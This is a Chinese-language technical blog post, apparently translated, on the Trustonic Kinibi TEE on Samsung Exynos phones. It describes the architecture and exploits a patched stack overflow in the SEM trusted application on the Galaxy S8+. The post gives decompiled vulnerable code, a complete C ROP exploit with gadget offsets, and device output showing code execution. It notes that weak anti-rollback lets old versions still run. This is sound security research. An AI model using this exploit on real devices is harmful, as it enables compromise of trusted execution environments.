前言

很多Android设备和嵌入式系统都使用TEE(Trusted Execution Environment,可信执行环境)来实现一些安全功能(如硬件密码/密钥、DRM(数字版权保护)、移动支付、生物识别等等)。

在ARM平台上,TEE是使用ARM Trustzone技术将其运行环境与标准操作系统(如Linux)隔离开来的小型操作系统。

TEE操作系统比传统的终端应用运行环境(REE,Rich Execution Environment,如Android)简单得多,对逆向工程来说也是一件有趣的事情。

这篇文章介绍Trustonic的TEE实现,特别是三星为Exynos芯片组所做的集成。三星最近修补了可信应用(TA, Trusted Application)中的一个漏洞。在简要介绍Trustzone/Kinibi之后,本文详细介绍了该漏洞的利用情况。

TrustZone

在Trustzone体系结构中,TEE运行在安全状态的EL1异常级别。可以在此基础上加载可信的应用程序,并在安全状态的EL0异常级别运行。受信任的应用程序是签名的映像,只有在映像签名正确且来自受信任的开发人员的情况下才能加载。

REE通过执行Secure Monitor调用(在内核模式下使用SMC特权指令)与TEE通信。这些调用由Secure Monitor处理,并中继到TEE内核。

三星手机信任charles证书 三星手机信任设备_TrustZone

Trustzone允许使用非安全标志(NS, Non-Secure)标记内存,从而将安全区域内存与正常区域隔离开来。在正常情况下运行的代码只能访问标记为NS的内存。

在移动端上有三个主要的TEE实现:

  • 基于高通SoC设备的QSEE/QTEE
  • 华为的TrustedCore
  • Trustonic的Kinibi


Kinibi

Kinibi是由Trustonic(也称为T-Base或Mobicore)构建的TEE实现,主要用于Mediatek和ExynosSoC。Kinibi由多个组件组成:

  • 微内核:MTK
  • 运行时管理器:RTM
  • 少数内置驱动程序:密码,安全存储等
  • 应用程序/驱动程序使用的库:McLib

Kinibi只在Aarch32模式下运行。

三星手机信任charles证书 三星手机信任设备_三星手机信任charles证书_02

微内核运行在安全状态的EL1异常级别。它提供对驱动程序和可信应用的系统调用,并强制任务隔离。Secure Monitor中的一段代码将SMC中断中继到TEE内核,这允许两个区域之间的通信。内核还执行抢占式调度。

运行管理器是Kinibi的主要任务,它管理正常客户端和可信应用之间的会话。当REE客户端打开新会话时,RTM首先检查应用程序是否已经加载。**加载过程涉及应用程序二进制的签名检查。**还可以对应用程序二进制文件进行加密,因此RTM在加载可信应用之前对其进行解密。

驱动程序在安全状态的EL0异常级别运行,由于它们的二进制文件具有与可信应用完全相同的格式,所以它们使用相同的API加载。驱动程序可以访问比TA更多的系统。这些附加的系统允许驱动程序映射其他任务内存、物理内存、执行SMC调用等。

在三星手机上,这些组件可以很容易地从sboot.bin中提取出来。@kutyacica在EkoParty会议上介绍了提取这些部分的一种很好的方法。他在sboot.bin二进制文件中找到了一个表,其中包含了不同组件的偏移量。自Galaxy S6以来,这个表的格式略有改变,但打开二进制文件仍然很简单。

Trusted Applications(可信应用)

在大多数情况下,可信应用和驱动程序都是签名的二进制文件,但没有加密,可以很容易地进行分析。在三星手机上,这些二进制文件存储在/vendor/app/mcRegistry/和/system/app/mcRegistry/目录中。

可信应用和驱动程序二进制文件使用的格式是MCLF格式,该格式被记录在【trustonic-tee-user-space】 GitHub项目的头文件中。使用【mclf-ida-loader】可以在IDA中加载这种格式。

当TA加载时,Kinibi使用MCLF报头来映射TA内存空间中的代码、数据和BSS区域。mcLib库映射到一个固定地址(GalaxyS8/S9上为0x07d00000)。打开会话时,共享缓冲区(称为tci)也会映射到固定地址:0x00100000或0x00300000,这取决于MCLF头中指定的版本。

REE中的TA客户端可以映射新的共享内存区域,这些区域映射在0x00200000 + map_id*0x00100000。

三星手机信任charles证书 三星手机信任设备_TrustZone_03

大多数可信使用tci共享内存作为输入和输出缓冲区,前32位用作命令标识符(cammand id)。

通常初始化在入口点(密码初始化、堆栈cookie随机化等)进行,然后调用主函数。main函数检查共享缓冲区大小,然后启动主循环。

TA使用tlApiWaitNotification API等待新消息,并处理共享缓冲区的内容。响应数据被写入共享缓冲区,TA使用tlApiNotify API通知REE,并等待新消息。

TA exploitation 101

即使TEE系统专门用于安全操作,操作系统也没有ASLR/PIE那样的安全强化,这使得利用可信应用中的漏洞变得非常容易。

三星在G955FXXU2CRED和G955FXXU3CRGH(Galaxy S8+)中修补了SEM TA(fffffffff0000000000000000000001b.tlbin)。

修补程序修复了0x1B命令处理程序中可直接访问的基于堆栈的缓冲区溢出。此外,在这个TA的新版本中启用了堆栈cookie。

/* pseudo code in G955FXXU2CRED */
void __fastcall handle_cmd_id_0x1b(unsigned int *tciBuffer)
{
  // [...]
  char v64[256]; // [sp+158h] [bp-770h]
  char v65[256]; // [sp+258h] [bp-670h]
  char v66[200]; // [sp+358h] [bp-570h]
  char v67[1024]; // [sp+420h] [bp-4A8h]
  char v68[64]; // [sp+820h] [bp-A8h]
  char v69[52]; // [sp+860h] [bp-68h]
  int v70; // [sp+894h] [bp-34h]

  bzero(v66, 0xC8u);
  bzero(v64, 0x100u);
  bzero(v65, 0x100u);
  bzero(v68, 0x40u);
  v4 = tciBuffer[2];
  v5 = tciBuffer[3];
  // memcpy with source and length controlled
  memcpy(v66, tciBuffer + 4, tciBuffer[3]);
  v6 = v5 + 12;
  v7 = *(int *)((char *)tciBuffer + v5 + 16);
  if ( tciBuffer[23042] > (unsigned int)(v7 + 208) )
  {
    snprintf(v67, 0x400, "~%18s:%4d: Input data is over the buffer.", v8, 113);
    print("[E]SEM %sn", v67);
    return;
  }
  // [...]

如果没有堆栈cookie,就可以在命令处理程序中直接访问基于堆栈的缓冲区溢出,这应该会使你想起你的第一次开发利用。

可信应用具有read-exec代码页和read-write数据页映射。Kinibi没有类似mprotect的syscall,也不提供syscall和可信应用之间的映射,因此在TA中执行任意代码的唯一方法是对其代码进行ROP。

为了与TEE进行通信,使用了libMcClient.so库。该库提供了加载TA、打开会话、映射内存和通知可信应用的功能。Trustonic给出了使用这个库的头文件:MobiCoreDriverApi.h。在Android上,只有一些特权应用程序和具有特定SElinux上下文的应用程序可以使用TEE驱动程序。

以下是一个简单的漏洞,即ROP打印受控的日志字符串,在三星设备上TEE日志在KMSG中打印。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>

#include "MobiCoreDriverApi.h"

#define err(f_, ...) {printf("[33[31;1m!33[0m] "); printf(f_, ##__VA_ARGS__);}
#define ok(f_, ...) {printf("[33[32;1m+33[0m] "); printf(f_, ##__VA_ARGS__);}
#define info(f_, ...) {printf("[33[34;1m-33[0m] "); printf(f_, ##__VA_ARGS__);}
#define warn(f_, ...) {printf("[33[33;1mw33[0m] "); printf(f_, ##__VA_ARGS__);}

int main(int argc, char **argv) {
    mcResult_t ret;
    mcSessionHandle_t session = {0};
    mcBulkMap_t map;
    uint32_t stack_size;
    char *to_map;


    // ROPgadget --binary fffffffff0000000000000000000001b.tlbin 
    //             --rawArch arm --rawMode thumb --offset 0x1000
    uint32_t rop_chain[] = {
        0x38c2 + 1, // pop {r0, r1, r2, r3, r4, r5, r6, pc}
        0x0,        // r0 (will be the string to print)
        0x0,        // r1 (argument, will be set after mcMap)
        0x0,        // r2 (not used)
        0x0,        // r3 (not used)
        0x0,        // r4 (not used)
        0x0,        // r5 (not used)
        0x0,        // r6 (not used)
        0x25070 + 1 // tlApiPrintf wrapper
    };

    FILE *f = fopen(
        "/data/local/tmp/fffffffff0000000000000000000001b.tlbin",
        "rb"
    );
    if(!f) {
        err("Can't open TA %sn",argv[1]);
        return 1;
    }
    fseek(f, 0, SEEK_END);
    uint32_t ta_size = ftell(f);
    fseek(f, 0, SEEK_SET);


    char *ta_mem = malloc(ta_size);
    if (fread(ta_mem, ta_size, 1, f) != 1) {
        err("Can't read TA");
        return 1;
    }

    uint32_t tciLen = 0x20000; // TA access to fixed offset on this WSM
                               // so the buffer should be large enough
    uint32_t *tci = malloc(tciLen);

    ret = mcOpenDevice(MC_DEVICE_ID_DEFAULT);
    if(ret != MC_DRV_OK) {
        err("Can't mcOpenDevicen");
        return 1;
    }

    to_map = strdup("--> Hello from the trusted application <--n");

    ret = mcOpenTrustlet(&session, 0, ta_mem, ta_size, 
                         (uint8_t *)tci, tciLen);
    if(ret == MC_DRV_OK) {
        // map the string in TA virtual space, the API returns
        // the address in the TA space.
        ret = mcMap(&session, to_map, 40960, (mcBulkMap_t *)&map);
        if (ret != MC_DRV_OK) {
            err("Can't map inn");
            return 1;
        }
        ok("Address in TA virtual memory : 0x%xn", map.sVirtualAddr);

        // rop_chain[1] is R0, point it to the string in TA 
        // address space.
        rop_chain[1] = map.sVirtualAddr;

        stack_size  = 0x54c; // fill stack frame
        stack_size += 0x20;  // popped registers size

        // fill tciBuffer
        tci[0] = 27;                             // cmd id
        tci[3] = stack_size + sizeof(rop_chain); // memcpy size
        memcpy(&tci[4 + stack_size/4], &rop_chain, sizeof(rop_chain));

        // notify the TA
        mcNotify(&session);
        mcWaitNotification(&session, 2000);
        mcCloseSession(&session);
    }
    mcCloseDevice(MC_DEVICE_ID_DEFAULT);
    return 0;
}
dreamlte:/ # /data/local/tmp/exploit_sem
[+] Address in TA virtual memory : 0x2005f0

dreamlte:/ # dmesg -c | grep TEE
TEE: b01|[I]SEM  [INFO]:Start SEM TA :: Version: 2016.06.15.1
TEE: b01|[E]SEM  Wrong CCM version
TEE: b01|[E]SEM  Wrong CCM version
TEE: b01|[E]SEM  handleCCMDataSWP [ error END]
TEE: b01|--> Hello from the trusted application <--

结论

本文展示了在可信应用中实现任意代码执行有多么容易。SEM应用程序包含其他很多漏洞,但堆栈cookie限制了攻击的实现。

TA中已修补的漏洞在最新的设备上应该是不可利用的,因为TEE提供了一种反回滚机制(anti-rollback)。

不幸的是,在合并与安全相关的补丁时,三星并不总是增加版本号。

这是SEM TA的情况,这意味着旧版本仍然可以加载和利用。在许多三星设备上,反回滚机制似乎根本不起作用(就像在S8上那样)。

在可信应用中获得代码执行大大增加了攻击面,因为攻击者可以与安全驱动程序和TEE内核系统交互。